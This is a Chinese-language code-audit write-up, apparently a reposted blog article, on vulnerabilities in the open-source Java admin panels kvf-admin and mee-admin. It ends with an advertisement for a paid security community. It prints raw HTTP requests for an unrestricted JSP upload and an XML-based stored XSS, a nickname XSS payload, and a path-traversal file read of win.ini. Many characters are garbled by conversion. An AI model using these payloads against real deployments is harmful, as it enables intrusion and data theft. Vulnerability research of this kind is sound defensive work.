代码审计指南 - Github开源Java项目
kvf-admin代码审计
挑选Java语言开辟的开源Github项目来代码审计,第一个是kvf-admin
- 项目地址:https://github.com/kalvinGit/kvf-admin?tab=readme-ov-file
复制代码
Java后端启动配景之后的登录页面如下:
恣意文件上传
登录配景,在资本资料 - 用户头像处可以上传职员文件,此处没有限定格式和内容

对应的调用的方法为fileUpload


上传没有过滤文件后缀和内容
直接上传获取路径,数据包如下:
- POST /common/fileUpload HTTP/1.1Accept: application/json, text/javascript, */*; q=0.01Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9Connection: keep-aliveContent-Length: 703477Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHpqxuxq5RM32xO3VCookie: JSESSIONID=2648996e-59d9-4a81-8562-66e136334abb; rememberMe=WwDVuhLMSgLXB47hXFmIsDUCi1wLlcoWt/8lZNdHJH1vKAYEENnN+WmKi5KzrCu2a2QvAbrQD0ZK4QOLa2CidYfaF27zuDvbWfUdRtzJiOys7fG5wv31Crnp5hk8mxaLjEL9gffgnFO6est/iK/4FcMl4+/0hgqPwAwZRz9J+m/noyNGmcMkDDO9yAPXFluiHTib92i1qHU2liZ+YT2uYkVdT0/moBEroItpIyeqNpoes0wNhZ9OIkdwCCNoHlPWo1QZvCglh5XlGF0iI7jsnDXZAUEcPzVyHh3cryzKcVGK4/VV/v2ozpO4U8V77w1FT3Ad08EDTa/fR6EcC4tWTA1vRlzhkVSBW7NUqR/3hlzPaaHiYO/jPQSNwB4aPHGz8L8HimuUhKgzd+U63Q9ItRAjiNLMummYtKruiopOd77GNxsVWMsZIbvpeNwN8ML8rRAEEjV4QdR0HQODio/ov0UW4lHIUya6gvB2V2/ZtfZaOjtP5qewmGgqFfbGmnEEuw5dZbvz9/el10I1UTw4O7g2HCOCFE/XLE6R5DCx2TQ5zap5jJnKDtB4Y6Vt0JOqx33kukcYcaYIrSQm9XDFBsOG1lhMFkNTa+UDoiqb3lzX3e4Xli2jEg890vmawZNkDBuf5fxOH9LR0NiV7uhMol4pCmZrs9KcPRnvT7UuJxb8vJ3Q3+RlSnWLIEkfuvYhf5Y0STO/D7AAxM1rHQxYr2gdW3KvU85dPzFA6KEdeMT2ZZjXpxWRleySBGDp8EBfoBdrYT7dkI1XVF9qAqu2EXA/J2y2LTkZiNaysVge3VAeyvaijsFjKREQ+Edz9z6GeXlevfkqJ4Aur7ifOeor/vKvU4vTQxy+hMJDSoHPbwazBFyyXdjGpypc0lJm+3Va8zNI+wRu43KS7lTTup4WO+K+7+P0ZVSvY7zwLzUQsQZ7MPYFqpkKhn13SqwFTFull6QCGpBnT87PlTrUtRTY2bGWmsZiyhpGbOsSfveMh9SCeUEEs5ZPcwzCZHJL85/8tWvUnT7OXcZj9vw+rp/Ks6ArbzzfsJIo34FqYRTM6fxT5Y5bQPdw5d50L9Y2x1xMH9U8caSMYv06ZbuaYXGDkkVE3K2ecrK8FZMrYAt3fF1fAzIEhhv53FjJAcPviW+nXtHSv4aojAQh8b0jaLocmQCbRgEmxOQf6aqgxnNpLua5Cj9TthYdlfU/dmZWxrzsrGxaTcEksY2MK/sj9GVmYae0yRJxGSSniyLOKqo3qadGwfPbAgVw8DsWaAKD1VaBvROXG68t6+wacBa1ge3kGrLRRXVM3IggECOdWl1EfY8wklQsdktY+CbFsAnnKlby7+ac9D8QnXx9LCyJZR40kviAdRTjyy9gB8IcLTwYgp5Ro7eP8LLRU/QRIfguRs3J/B60DfHI7gzrf8NDWKaKnmpXjo2zR8JhyFt+8e7z5ySTEhpocr/ZWLHzPA/yULIbjnIweF2W68X43A6uAMTz4zK0wW8Ls7izZ34yz8wB1cQG6dT/uug82zcIQZ6Ux90f6QteQ9tYsCmNQvHnvKJq9GDO5p/hzT05RK8=Host: 127.0.0.1:89Origin: http://127.0.0.1:89Referer: http://127.0.0.1:89/sys/user/infoSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36X-Requested-With: XMLHttpRequestsec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"
- ------WebKitFormBoundaryHpqxuxq5RM32xO3VContent-Disposition: form-data; name="file"; filename="test.jsp"Content-Type: image/jpeg
- test123------WebKitFormBoundaryHpqxuxq5RM32xO3VContent-Disposition: form-data; name="type"
- avatar------WebKitFormBoundaryHpqxuxq5RM32xO3V--
复制代码

上传乐成后返回路径,然后根据读取文件访问的方法哀求对应路径

哀求访问/common/static/avatar/20240319/test.jsp,验证上传乐成

存储型xss
此处Java版Ueditor文件可以上传xml文件,造成的XSS毛病

文件上传方法对应如下

查看Ueditor设置文件config.json设置文件,xml后缀格式未被禁用,可以上传xss页面

调用对应的uploadfile方法,上传数据包如下:
- POST /ueditor/upload?configPath=ueditor/config.json&action=uploadfile HTTP/1.1Host: 192.168.8.28:89Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateCookie: JSESSIONID=707bfffa-49cc-49ff-acd0-8dd285701b07; rememberMe=voFiAKGY4BjwzQlWUvQRuxYPzFLdbUyJnX6u0evTdkxG8FjTc97O7yMZkB8UVL5335fUkKu0yiX6cPevGZ5578ClchkJrILtVy6k9IwLYQVlJ9v0a+2ysULMIZgvbKb/IU5AxC26iN+wcPd0KDWNdiXfItrNSFbANbHe39Uw9ldqwyp7gmSwjy9uFB8NCioDhBIUtCvqDZ4IfJp9aXsTgvJJTw45Yg/CCNbr4PI8iyqmW1BLKX8nqZOzXiNk0MfvhC3NikwLJ4Iz6Hgmx5BPhqOgxQosK5p5FmZYnGXf7kjJ3Rjmm2pzJSt35Plucv2CB9phiCO71vqyLt38mUF4l4hbAuVwvqN5AuO3raOA9y1An3p1SAraoNwYXQ/QRgWsTCOCF71In5xmWRB0ulEr98v3q8wzbPEzsIcDgdBlxMR0X2XMbr7Y2aCIR8pkGGyAENl9yXYA3VW157EyDGA1exY1kRUqZI4ndSpW1jlqWssHjKM2FvPtnRiTXBpJEj5RkSUTSxCyrv4zujObG4IWOT5L0EfRZbTcDe4jvtvzwN5Kx3eTJVjK09vMs5m8WNwdpLRkX32MH0rQcOPLvDAkXwVX/MFvQcU0TrMYnW7T08Ot4lmhRy/iU9dv4bX4Q6Oxpsurp1mRcuJ4N7u5zw6OBZZEyRe5bk8tKFigCvbWE0rw5WQl/0eS+YylyUz9FLf1uYGWbh1k74PXglVFQ3fP1z9EkB1Ib4BCkGzUIkliVcbSebmkZwZItH0YW29/4BmtVHGllUxsSo64oUp9ZNe7G5Ex4ckPOMkh/tiq2+5j9wksOpsf+V+G8RMu1kbUfzFx+4cSY0zJN9f1yEYHCLN7E8u51MZ/OPG/mtWqcPHuIGgCLlJD9Ih3kGGMPTinkGEDkHJmHZfFGohQaEzc0Q3jYi1s+Eoxq+geWE70TQRrEFv41ukogBfV9x6ThvkSrihe4GA/0hw1pP8+58TVB56q2DOLNh1viGqpbO2ppi3Tx7wR8niwQ5Ty1VGcNtU2ecOwFrTIQge0ELMC4JZ65sdsAla2n+tv0SZjQfoysjPQoLwK4AsQQ5VmSpY46h6pTJ5zbETEtQMd+70xOE4ntem5xWfUaJzGV90zzx5I+YklqSTjsnSUC2Ezg51P6qFK2B0IyjJ0+Tqb92LcnHVmCM8ChOynVhmRnlflheEZRjMpLigCKcizx2tA4PnLEH9zf5rpZtu7QAvE5IdtmQERfEjpaWGNnRySf1bmD06h0XsV8oSRSlKqMVNm35Qe/yM7br4NXdC44kfZm4+z+3+7nacfq0ugyhWM1b2gX3FKHkxTwDEfyQdGp9NHorvSjcMvA8RW3ApckFZycfm2JnArlyw95Eq42uoZqdcB/LqlRNinjljjqZM99S511T/bZWpvFD+bSXp5xznDDJOyOkhPSUAV63jnlRn8atl2xQq2soMyPeI2HevgvO2RpRjtCTnx0l1wKE9ZERr5YGMoPLgDuou76y9xN1b0LDdshPTdUoPu694JRwDOoeoqmIDCIuQfJa89hulN2mDOeoYB347ZmO+Eh1KFDYlP1ytBnibbAccept-Language: zh-CN,zh;q=0.9Cache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Upgrade-Insecure-Requests: 1Origin: http://192.168.8.28:89Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhRtIv7Zw4UrVozpEContent-Length: 2061352
- ------WebKitFormBoundaryhRtIv7Zw4UrVozpEContent-Disposition: form-data; name="upfile"; filename="test.xml"Content-Type: image/jpeg
- <html><head></head><body><something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(1);</something:script></body></html>------WebKitFormBoundaryhRtIv7Zw4UrVozpE--
复制代码

上传带有xss语句的xml文件

读取恶意文件乐成上传

Mee-admin v1.6审计
第二个项目名称为mee-admin,也是Java开辟的后端
- 项目地址:https://github.com/funnyzpc/mee-admin审计版本v1.6:https://github.com/funnyzpc/mee-admin/releases/tag/1.6
复制代码
启动设置一下,这里我指定使用application-mysql.propertities设置文件
改下文件目次到C盘
存储型XSS
登录页面如下
使用admin/admin登录进入系统
点击用户名处,进入用户中央处。在用户昵称处输入恶意xss代码闭合
输入如下内容
- 超级管理员</a><a><img src=1 onerror=alert(/xss/)>
复制代码
点击更新,然后重新登录下
进来会发现恶意xss语句被渲染进网页里面
恣意文件读取
在系统管理的文件管理中,文件生存路径为下载路径,点击后会调用下载方法
毛病代码在CommonFileController.java里面
download方法做了目次穿越的检测,但是没有竣事return
只是防止浏览器表现,但是防不了数据包中的恣意文件读取
造成恣意文件读取毛病,例如读取C:\Windows\win.ini文件
Freebuf知识大陆帮会
0x01 社区简介
社区中包含有重要讲解系统化从基础入门到实战毛病挖掘的教程,其中包含团队自整的挖掘留意点和案例。其中还包含分享的渗透经验、SRC毛病案例、代码审计、挖洞思路等高价值资源。
● 笔记重要根据毛病原理,结合实战的毛病案例,分析毛病的挖掘方法和毛病成因。
汗青笔记部门一览
0x02 独有服务
1. 各类内部网络安全攻防、CTF角逐信息、挖洞工具、靶场资源;
2. 专题更新毛病挖掘中的小Tips及实战案例
3. 攻防思维导图,0基础开启网络安全学习之路;
4. 遇到任何技能题都快速提问与讨论交流的思路;
5. 内部CTF大佬、海外SRC毛病挖掘大佬、群主群内在线解答;
6. 组织队伍参与各类SRC挖掘活动;
0x03 团队交流群
0x04 帮会技能保证
帮主:chobits02
● 「安全渗透感知各人族」的帮主
● 安全团队Code4th创建人
● 资深安全专家,2年网安经验,1.5年后端开辟经验
● 拥有丰富的SRC挖掘、应急响应、安全运营、网络攻防等方面经验
0x05 加入方式
FreeBuf知识大陆2周年庆啦
现 在 49.9 元 享 永 久 会 员!
优惠机会难过,扫二维码加入吧
⬇️
代码审计1
渗透测试3
阅读 90
写留言
Code4th安全团队
29在看写留言
写留言
留言
暂无留言
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |